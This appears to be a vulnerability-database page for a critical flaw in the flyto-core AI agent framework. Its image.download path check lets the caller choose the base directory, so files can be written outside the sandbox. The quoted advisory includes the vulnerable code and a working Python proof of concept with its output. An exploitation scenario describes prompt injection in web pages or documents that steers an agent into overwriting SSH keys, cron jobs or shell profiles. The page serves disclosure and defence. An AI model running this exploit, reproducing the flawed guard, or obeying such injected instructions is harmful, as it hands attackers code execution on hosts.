CVE-2026-67429: flyto-core: arbitrary file write via bypassed path guard
GHSA-2956-977x-2w3r CRITICAL PoC AVAILABLE CISA: ATTENDA path-confinement check in flyto-core's image.download module is broken by design: it validates the destination against a base directory (output_dir) that the caller also supplies, so an attacker who sets output_dir='/' can write arbitrary HTTP response bytes to any path the process can access — unlike the correctly-guarded file.write, which stays inside FLYTO_SANDBOX_DIR. This matters because in AI agent deployments the vulnerable parameters (url, output_dir, output_path) are set by the LLM via the generic execute_module MCP tool or by remote API clients, so an attacker who controls content the agent processes — a webpage, document, or API response — can steer the model into calling this module with a malicious output path and achieve code execution by overwriting authorized_keys, cron jobs, or Python modules. The flaw carries a maximum CVSS 10.0, has no CISA KEV listing and no public exploit or scanner template yet, but the vendor GHSA ships a working PoC and requires no cleverness beyond setting output_dir to the filesystem root. At least eleven other file-writing modules (image.convert, document.excel_write, browser.pagination, etc.) share the same caller-controlled-path pattern with no guard at all, so this is a systemic sandbox-escape class, not a one-off bug. Patch to flyto-core 2.26.7 immediately, and until every module is audited, treat any flyto-core deployment exposed to an AI agent or untrusted API client as capable of writing files outside its sandbox.
What is the risk?
Critical (CVSS 3.1 10.0 — AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H). No authentication and no user interaction are required, complexity is low, and the vulnerable parameters are attacker/LLM-controlled by design in agentic deployments; the scope-changed vector reflects that a write outside the sandbox can affect the host beyond the flyto-core process itself. EPSS is not yet scored (CVE just published 2026-07-30) and it is not in CISA KEV, so there is no confirmed in-the-wild exploitation signal yet, but a public GHSA with a working PoC, a one-line trigger (output_dir='/'), and reachability through the generic MCP execute_module tool make rapid weaponization plausible once attackers notice flyto-core is an AI agent framework. Given the maximum severity score and the direct path to code execution, this should be treated as urgent regardless of current EPSS/KEV status.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| flyto-core | pip | < 2.26.7 | 2.26.7 |
Do you use flyto-core? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step-
Upgrade flyto-core to >= 2.26.7 immediately — the fix routes image.download writes through validate_path_with_env_config() and confines them to FLYTO_SANDBOX_DIR. Until patched, disable or deny-list image.download and the other caller-controlled-path modules named in the advisory (image.convert/resize/crop/compress/rotate/watermark/qrcode_generate, document.excel_write/pdf_fill_form/word_to_pdf/pdf_to_word, browser.pagination) from any agent tool manifest or MCP execute_module allow-list. Run the process under a dedicated low-privilege account with filesystem ACLs that cannot write outside the intended sandbox directory, as defense-in-depth regardless of patch status. For detection, monitor file-write syscalls or FIM alerts for writes originating from the flyto-core process to paths outside FLYTO_SANDBOX_DIR (e.g. ~/.ssh, /etc/cron*, shell profile files, application source), and review execute_module MCP call logs for output_dir/output_path parameters pointing to root-like or out-of-sandbox absolute paths.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-67429?
A path-confinement check in flyto-core's image.download module is broken by design: it validates the destination against a base directory (output_dir) that the caller also supplies, so an attacker who sets output_dir='/' can write arbitrary HTTP response bytes to any path the process can access — unlike the correctly-guarded file.write, which stays inside FLYTO_SANDBOX_DIR. This matters because in AI agent deployments the vulnerable parameters (url, output_dir, output_path) are set by the LLM via the generic execute_module MCP tool or by remote API clients, so an attacker who controls content the agent processes — a webpage, document, or API response — can steer the model into calling this module with a malicious output path and achieve code execution by overwriting authorized_keys, cron jobs, or Python modules. The flaw carries a maximum CVSS 10.0, has no CISA KEV listing and no public exploit or scanner template yet, but the vendor GHSA ships a working PoC and requires no cleverness beyond setting output_dir to the filesystem root. At least eleven other file-writing modules (image.convert, document.excel_write, browser.pagination, etc.) share the same caller-controlled-path pattern with no guard at all, so this is a systemic sandbox-escape class, not a one-off bug. Patch to flyto-core 2.26.7 immediately, and until every module is audited, treat any flyto-core deployment exposed to an AI agent or untrusted API client as capable of writing files outside its sandbox.
Is CVE-2026-67429 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-67429, increasing the risk of exploitation.
How to fix CVE-2026-67429?
Upgrade flyto-core to >= 2.26.7 immediately — the fix routes image.download writes through validate_path_with_env_config() and confines them to FLYTO_SANDBOX_DIR. Until patched, disable or deny-list image.download and the other caller-controlled-path modules named in the advisory (image.convert/resize/crop/compress/rotate/watermark/qrcode_generate, document.excel_write/pdf_fill_form/word_to_pdf/pdf_to_word, browser.pagination) from any agent tool manifest or MCP execute_module allow-list. Run the process under a dedicated low-privilege account with filesystem ACLs that cannot write outside the intended sandbox directory, as defense-in-depth regardless of patch status. For detection, monitor file-write syscalls or FIM alerts for writes originating from the flyto-core process to paths outside FLYTO_SANDBOX_DIR (e.g. ~/.ssh, /etc/cron*, shell profile files, application source), and review execute_module MCP call logs for output_dir/output_path parameters pointing to root-like or out-of-sandbox absolute paths.
What systems are affected by CVE-2026-67429?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI agent tool/plugin execution, MCP tool integrations.
What is the CVSS score for CVE-2026-67429?
CVE-2026-67429 has a CVSS v3.1 base score of 10.0 (CRITICAL). The EPSS exploitation probability is 0.49%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0049 Exploit Public-Facing Application AML.T0051.001 Indirect AML.T0053 AI Agent Tool Invocation AML.T0112 Machine Compromise Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary `image.download` fetches a URL and writes the response to disk. It does not use the central path guard (`validate_path_with_env_config`, which confines writes to `FLYTO_SANDBOX_DIR`); instead it confines the output to `output_dir`, but `output_dir` is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write. ## Affected code `src/core/modules/atomic/image/download.py`: ```python output_path = params.get('output_path') output_dir = params.get('output_dir', '/tmp') # caller-controlled base ... base_real = os.path.realpath(output_dir) target_real = os.path.realpath(output_path) if os.path.commonpath([base_real, target_real]) != base_real: raise Exception('Invalid file path') # base is attacker-chosen, so always passes ... content = await response.read() # attacker-hosted bytes with open(target_real, 'wb') as f: f.write(content) ``` `commonpath` is used correctly, but the base is caller-supplied, so setting `output_dir='/'` passes any target. `file.write`, by contrast, uses `validate_path_with_env_config()` and stays inside `FLYTO_SANDBOX_DIR`. This is not isolated to `image.download`. Most other file-writing modules write to a caller `output_path` with no path check at all: `image.convert`, `image.resize`, `image.crop`, `image.compress`, `image.rotate`, `image.watermark`, `image.qrcode_generate`, `document.excel_write`, `document.pdf_fill_form`, `document.word_to_pdf`, `document.pdf_to_word` and `browser.pagination`. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; `image.download` is the strongest because the bytes are arbitrary. ## Reproduction Save as `filewrite_poc.py`, run with `PYTHONPATH=src/src python filewrite_poc.py`. It sets `FLYTO_SANDBOX_DIR` to a sandbox dir and writes to a sibling directory outside it. ```python #!/usr/bin/env python3 import asyncio import os import tempfile import threading from http.server import BaseHTTPRequestHandler, HTTPServer os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # let the content host pass the SSRF check EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n" class Content(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200); self.send_header("Content-Type", "image/jpeg") self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL) def log_message(self, *a): pass async def run(mid, params): from core.modules.registry import ModuleRegistry try: return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={})) except Exception as e: return ("EXC", f"{type(e).__name__}: {e}") async def main(): from core.modules.atomic import register_all register_all() threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start() root = tempfile.mkdtemp(prefix="flyto_poc_") sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox) escape = os.path.join(root, "ESCAPE"); os.makedirs(escape) os.environ["FLYTO_SANDBOX_DIR"] = sandbox target = os.path.join(escape, "pwned") # OUTSIDE the sandbox print("A) file.write:", await run("file.write", {"path": target, "content": "x"})) print("B) image.download:", await run("image.download", { "url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target})) print("file written outside sandbox?", os.path.exists(target)) if os.path.exists(target): print("content:", open(target, "rb").read()) if __name__ == "__main__": asyncio.run(main()) ``` Output: ``` A) file.write: ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...') B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...}) file written outside sandbox? True content: b'#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n' ``` `file.write` refuses the out-of-sandbox path; `image.download` writes attacker bytes there. Reproduced through the running HTTP API as well. ## Reachability (why this is not operator self-service) `output_dir`, `output_path` and `url` are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic `execute_module(module_id, params)` MCP tool (`core/mcp_handler.py`, `params` taken from the model's `arguments`) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. `FLYTO_SANDBOX_DIR` and the guard `file.write` uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior. ## Impact Write arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or `authorized_keys`, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows). ## Suggested fix Use `validate_path_with_env_config()` for every module that writes files, so all writes are confined to `FLYTO_SANDBOX_DIR` (a base the caller cannot change), never to a caller-supplied `output_dir`.
Exploitation Scenario
An organization deploys an AI agent (via flyto-core's MCP execute_module tool) that browses the web or processes documents on a user's behalf and has access to the image.download module for legitimate tasks like saving generated images. An attacker plants a prompt-injection payload in content the agent is likely to process — a web page, PDF, or email — instructing it to 'download this image' from an attacker-controlled URL and save it with output_dir='/' and output_path='/home/appuser/.ssh/authorized_keys' (or a cron file, or .bashrc). Because the URL passes flyto-core's SSRF host allow-list (the attacker simply hosts the payload on their own public server) and the path guard is defeated by the caller controlling both the target and the base it is checked against, the tool call succeeds silently and writes the attacker's SSH key or malicious script to a sensitive path. On the next login, cron run, or shell invocation, the attacker's payload executes, giving them a foothold on the host running the AI agent.
Weaknesses (CWE)
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Primary
CWE-73 External Control of File Name or Path
Primary
CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
- [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
- [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2025-5120 10.0 smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Code Execution CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Code Execution CVE-2025-2828 10.0 LangChain RequestsToolkit: SSRF exposes cloud metadata
Same attack type: Auth Bypass CVE-2025-53767 10.0 Azure OpenAI: SSRF EoP, no auth required (CVSS 10)
Same attack type: Auth Bypass CVE-2024-2912 10.0 BentoML: RCE via insecure deserialization (CVSS 10)
Same attack type: Code Execution